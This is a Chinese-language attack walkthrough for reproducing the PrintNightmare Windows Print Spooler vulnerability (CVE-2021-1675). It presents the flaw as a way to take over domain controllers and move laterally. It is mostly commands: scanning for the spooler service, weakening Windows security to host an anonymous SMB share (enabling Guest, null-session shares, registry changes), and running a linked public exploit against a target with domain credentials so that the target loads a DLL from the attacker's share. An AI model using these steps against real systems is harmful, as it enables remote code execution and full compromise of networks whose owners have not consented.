printnightmare(CVE-2021-1675)

目录

谁都能打,不局限于域控。工作组环境也能拿来横移。

Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中,攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序。若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。

前提:

复现

扫描

可通过如下命令看指定计算机是否开启spooler服务

rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

开启smb

linux开启匿名smb

用apt或者yum下载samba,然后修改/etc/samba/smb.conf。将/tmp/映射为smb共享目录。

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

然后使用命令 service smbd start 开启smb服务器。

windows开启匿名smb

1.启用Guest用户

net user guest /active:yes

2.将Everyone权限应用于匿名用户

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f

3.指定匿名共享文件的位置

REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f

4.将Guest用户从策略“拒绝从网络访问这台计算机”中移除

导出组策略:

secedit /export /cfg gp.inf /quiet

修改文件gp.inf,将SeDenyNetworkLogonRight = Guest修改为SeDenyNetworkLogonRight =,保存

重新导入组策略:

secedit /configure /db gp.sdb /cfg gp.inf /quiet

强制刷新组策略,立即生效(否则,重启后生效):

gpupdate/force

5.设置文件共享

icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full

至此,可匿名访问的文件共享服务器开启成功,访问的地址为//<ip>/smb

太长不看版(似乎要重启才能生效):

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

windows开启匿名smb:一键脚本

https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

支持域环境和工作组环境的Windows操作系统

需要本地管理员权限执行

开启可匿名访问的文件共享服务器:

Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Enable
关闭可匿名访问的文件共享服务器:

Invoke-BuildAnonymousSMBServer -Path c:\share -Mode Disable

exp

python版的exp,impacket框架二开。

https://github.com/cube0x0/CVE-2021-1675

./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'